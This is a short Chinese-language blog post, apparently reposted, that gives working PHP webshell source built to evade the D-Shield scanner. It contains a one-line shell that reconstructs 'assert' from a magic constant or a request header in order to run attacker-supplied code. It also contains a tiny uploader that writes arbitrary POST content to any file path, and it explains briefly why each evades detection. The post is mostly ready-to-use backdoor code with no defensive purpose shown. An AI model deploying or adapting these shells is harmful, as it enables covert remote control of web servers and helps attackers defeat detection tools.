过D盾一句话+上传小马
前言webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进
2023-2-11 12:56:42
Author: 编码安全研究(查看原文)
阅读量:25
收藏
前言
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。 PHP一句话马
1.代码
<?php class test{ function assert(){ // 方式一 //$a = getenv('HTTP_E'); //return $a; // 方式二 $a = substr(__FUNCTION__,0,6); return $a; } function foo(&$var) { $var = $_GET['a']; return $var; } } $a = new test(); $c = $a->assert(); $d = ""; $d = $a->foo($d); $c($d);?>
2.免杀思路
方式一
getenv 能够获取 phpinfo 中 ApacheEnvironment 和 Environment 中的值。请求头中的变量会以 HTTP_变量名 的形式存在 Apache Environment 中。因此我们在请求头中带上 E: assert,我们可以通过 getenv(‘HTTP_E’) 来获取其值。 免杀效果
方式二
一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell, 这里使用魔术常量获取到函数名,作为函数值返回。 免杀效果
PHP上传小马
1. 代码
<?php
header("content-type:text/html;charset=utf-8");
class test
{
function test()
{
return '干扰类';
}
}
@$rode = $_POST['rode'];
@$content = $_POST['content'];
if(@file_put_contents($rode,$content))
{
echo '上传成功';
}
?>
<html>
<body>
<form action='' method='POST'>
小马路径<?php echo ':' . __FILE__;?><br>
上传路径:<input type='text' name='rode'/><br>
内容:<textarea name='content'></textarea><br>
<input type='submit' value='write'/>
</form>
</body>
</html>
2. 免杀思路
免杀效果
作者:Wangfly,文章链接: https://www.hui-blog.cool/posts/836b.html
文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247499881&idx=1&sn=589d02d1111517ebd7b27f4e82a86469&chksm=ce64930cf9131a1a4afda33c2b40461c8f09686f24ecdb5655068b363b51192968b3cce11a5c#rd
如有侵权请联系:admin#unsafe.sh